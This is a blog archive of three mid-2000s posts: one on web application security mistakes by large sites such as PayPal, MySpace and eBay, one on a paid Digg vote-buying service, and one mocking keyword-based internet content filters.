Archive for the 'censorship' Category

Following the big dogs on web application security

Friday, December 21st, 2007

(This post originally appeared as part of the 2007 PHP Advent calendar)

At this time of year people are apt to get all warm and sentimental … Right up until their first trip to a mall on a Saturday when they go back to hating their fellow man and instituting an “If Amazon don’t sell it, you’re not getting it” policy on gift giving. December is very important to retail, and very important to retail sites.

I remember some good advice I read a long time ago. Vincent Flanders & Michael Willis in Web Pages That Suck suggested you “follow the big dogs”, in other words copy Amazon. Their reasoning was sound. You will likely get it wrong on your first try, you can’t afford to run usability studies of your own, and don’t want to spend months and numerous iterations getting it right. Learning from other people’s mistakes is always less embarrassing than learning from your own.

I have had to paraphrase here, because I opted to recycle nearly all my old books rather than ship them half way around the world. Had I wanted to check the accuracy of my quote, it would have cost me one cent to buy a second hand copy of that book.

While the long term relevance of most of the advice in old computer books is fairly accurately reflected by that valuation, it was good advice in 1998. If you were embarking on an ecommerce venture at a time when there was a shortage of people who knew what they were doing, best practice conventions were not settled and innovation was rapid there were worse philosophies you could have than “What Would Amazon Do?”

The same idea is popular today, and for the same reason. There is always a shortage of people who really know what they are doing, so there are plenty of people making decisions by asking “What Would Google/Amazon/Microsoft/eBay/PayPal/Flickr/Yahoo/YouTube/Digg/Facebook Do?” If you are in a space where nobody really knows the best way yet, copying the segment leader is a low risk, low talent shortcut to making mainly good decisions, even if does mean you are always three months behind.

The idea does not apply well to web application security. There are two main reasons for this: first, the big dogs make plenty of mistakes, and second, good security is invisible.

You might notice mistakes, you might read about exploited vulnerabilities and you might notice PR based attempts at the illusion of security, but you probably don’t notice things quietly being done well.

Common big dog mistakes include:

  • Inviting people to click links in email messages.
    You would think that, as one of the most popular phishing targets out there, PayPal would not want to encourage people to click links in emails. Yet, if you sign up for a Paypal account, the confirmation screen requests that you do exactly that.

    Paypal Confirmation Screen

  • Stupid validation rules.
    We all want ways to reject bad data, but it is usually not easy to define hard and fast rules to recognize it, even for data with specific formatting. Everybody wants a simple regex to check email addresses are well formed. Unfortunately, to permit any email that would be valid according to RFC2822, a simple one is not going to cut it. Which means that many, many people add validation that is broken and reject some real addresses. Most are not as stupid as the one AOL used to have for signing up for AIM, which insisted that all email addresses ended in .com, .net, .org, .edu or .mil, but many will reject + and other valid non-alphanumeric characters in the local part of an address (the bit before the @).
  • Stupid censorship systems
    Simple keyword based censorship always annoys people. Eventually, somebody named Woodcock is going to turn up.
    Xbox Live is infamous for rejecting gamertags and mottos after validating them against an extensive list of “inappropriate” words. Going far beyond comedian George Carlin’s notorious Seven Dirty Words, there is a list of about 2700 words that are supposedly banned. By the time you add your regular seven, all possible misspellings thereof, most known euphemisms for body parts, racial epithets, drug related terms, Microsoft brand names, Microsoft competitors’ brand names, terms that sound official and start heading off into foreign languages, you end up catching a lot of innocent phrases.
  • Broken HTML filtering.
    Stripping all HTML from user submitted content and safely displaying the result is often done badly, but is not that difficult. On the other hand, allowing some HTML formatting as user input, but disallowing “dangerous” parts is not an easy problem, especially if you are trying to foster an ecosystem of third party developers.

    The MySpace Samy worm worked not because MySpace failed to filter input, but because of a series of minor cracks that combined allowed arbitrary JavaScript. Once you choose to allow CSS so that users can add what passes for style on MySpace it becomes very hard to limit people to only visual effects.

    eBay has had less well known problems with a similar cause, but without a dramatic replicating worm implementation. Earlier this year scammers were placing large transparent divs over their listings so that any click on the page triggered a mailto or loaded a page of their own. I could not see examples today, so I assume they have fixed the specific vector, but giving users a great deal of freedom to format content that they upload makes ensuring that content is safe for others to view very difficult.

  • Stupidly long urls
    The big dogs love long complicated urls.

          https://chat.bankofamerica.com/hc/LPBofA2/?visitor=&mse
          ssionkey=&cmd=file&file=chatFrame&site=LPBofA2&channel=
          web&d=1185830684250&referrer=%28engage%29%20https%3A//s
          itekey.bankofamerica.com/sas/signon.do%3F%26detect%3D3&
          sessionkey=H6678674785673531985-3590509392420069059K351
          97612

    Having let people get used to that sort of garbage from sites that they should be able to trust, you can’t really be surprised that normal people can’t tell the difference between an XSS attack hidden in URL encoded JavaScript and a real, valid, safe URI. Even abnormal people who can decode a few common URL encodings in their heads are not really scrolling across the hidden nine tenths of the address bar to look at that lot.

  • Looking for simple solutions
    Security is not one simple problem, or even a set of simple problems, so looking for simple solutions such as the proposed .bank TLD is rarely helpful. This is not helped by the vendor-customer nature of much of the computer industry. The idea that you can write a check to somebody and a problem goes away is very compelling - buy a more expensive domain name, or a more expensive Extended Validation Certificate, or run an automated software scan to meet PCI compliance and you might sleep more soundly at night, but many users already don’t understand the URL and other clues that their browser provides them. Giving more subtle clues to them is unlikely to help. Displaying a GIF in the corner of your web page bragging about your safety might create the illusion of security and might well help sales, but it won’t actually help safety on its own.

You can’t follow the public example of the big dogs. They still make some dumb decisions, they still make the small mistakes that allow the CSRF and XSS exploits that are endemic and they are often not very responsive to disclosures. If a major site makes 99 good security decisions and one bad one, you won’t notice the 99. Unfortunately with security you are still far better off seeing how others have been exploited and critically evaluating what they say they should be doing, rather than trying to watch what they actually are doing.

Oh, and remember to stay away from malls on weekends in December.

Digg’s Kevin Rose Has an Account on User/Submitter?

Saturday, March 3rd, 2007

If you missed it, User/Submitter is a paid service allowing people to buy diggs.

They are very upfront about their business model. Submitters (people who want stories promoted) pay $20 plus $1 per digg. Users (digg users who’s second job as a WoW gold farmer is getting tedious) get paid about 17c per digg. So buying 100 diggs costs $120, and in theory nearly $17 of that gets paid out to diggers, there is a $20 payout minimum, so the chances of many people diligently digging away and making 120 paid diggs before their account gets noticed and shut off seems unlikely. In either case, it is nice profit margin while they can get away with it.

Digg unsurprisingly don’t seem to be fans. Poking around, I can see accounts are being disabled. One of mine got disabled, but that might be a bad example because I was not very subtle. Commenting on stories that I dugg that I had dugg them for 17c is probably more blatant than most. Result:
disabled

Looking at other accounts with suspicious behaviour though I see a few of these:
invalid

Privacy is not particularly well guarded at User/Submitter. If you want to know if a digg user name is registered there, then try to register it. An interesting username to try is kevinrose.

Kevin Rose On User/Submitter

Of course, the experiment is somewhat flawed. You can only check once, and while a negative result is definitive, a positive result might just mean that somebody else performed the same experiment before you. Rumours of Digg’s demise might be popular, but I don’t think Kevin yet needs a side job paying 17c per click.

Suspicious behaviour though is not hard to find. Here are a list of Digg stories that received paid Diggs in the last few hours.
http://digg.com/videos/people/Backflipping_Midget_Chased_by_Cops
http://digg.com/offbeat_news/Russian_wrestling_gone_amazing
http://digg.com/gadgets/The_ULTIMATE_domain_search_tool
http://digg.com/world_news/Photo_essay_Unexploded_bombs_are_everywhere_in_Iraq
http://digg.com/tech_news/Lenovo_Recalls_209_000_Notebook_Batteries
http://digg.com/2008_us_elections/Who_Else_Wants_to_Bash_Bush_Now
http://digg.com/videos/educational/Blind_Turkish_Book_Reviewer_The_Alchemist
http://digg.com/gadgets/Nikon_D40_Review_Good_Camera_at_a_Great_Value

Unsurprisingly, there are a number of the same users digging many of them.

What a social site should do about abuse is a harder problem. Any competitive environment is bound to get people gaming or abusing the system. I am not sure that disabling accounts is the best solution though. If I was a 3rd world subsistence gold farmer sitting in an internet cafe clicking links for a few cents a time and my account got disabled I would just create a new one that needs to be detected and disabled. If my account silently got flagged as a source of worthless diggs, and just ignored in calculations, then I would merrily continue clicking away and over time nearly all bought diggs would be worthless because they would mostly be being paid out to account that have already been detected.

Publicly disabling accounts is good for maintaining the appearance of transparency, but longer term, allowing abusive users individual sandboxes to play in lets them waste time without affecting others. In a system where reregistering under another alias is painless, disabling accounts is not a very effective deterrent.

Internet Filtering is Dumb

Tuesday, February 28th, 2006

This is not a new story, but the topic of internet content filtering comes up from time to time, so I wanted to post this picture while I remember where it is.

Dumb Internet Filtering

From time to time, somebody suggests that filtering internet content at various points would be a good idea. Invariably, the argument behind it is “Think of the Children. Who is looking out for our children?”

There are all sorts of reasons why the concept is flawed, but one big gaping problem that most people seem to ignore is that filtering software is dumb. Human classifiers would make errors, but manual classification cannot possibly cope with the volume of existing and new content, so filtering software has to try to classify material based on a set of rules. This is always going to fail, both passing content that will offend and blocking inoffensive, important content.

This is not a very sharp photo, but it is the screen of a public internet terminal. The site I am attempting to view in my own twisted, lascivious way is http://tickets.amtrak.com/. Now instead of the pictures of train timetables without any clothes on that I was expecting to see, instead I get, “This page has been blocked by the Content Filter because it may contain adult content not suitable for a public environment”.

Who is looking out for our adults? Whether they are (relatively) clean living tourists trying to buy a train ticket from Portland to Seattle, or whether they are anorak wearing, trainspotting weirdos who get a perverse kick from looking at Amtrak fare information does not really matter. Adults should be free to look at this and similar transport related “adult content” without having to apply for permission.

On a related note, because filtering software is so dumb, parents should not allow themselves to be lulled into a false sense of security thinking that a machine is doing their job for them. Do you know where your teenager is now? At this very minute, they could be perusing a hard core bus timetable, or even scouring the net for uncensored videos of 747s taking off.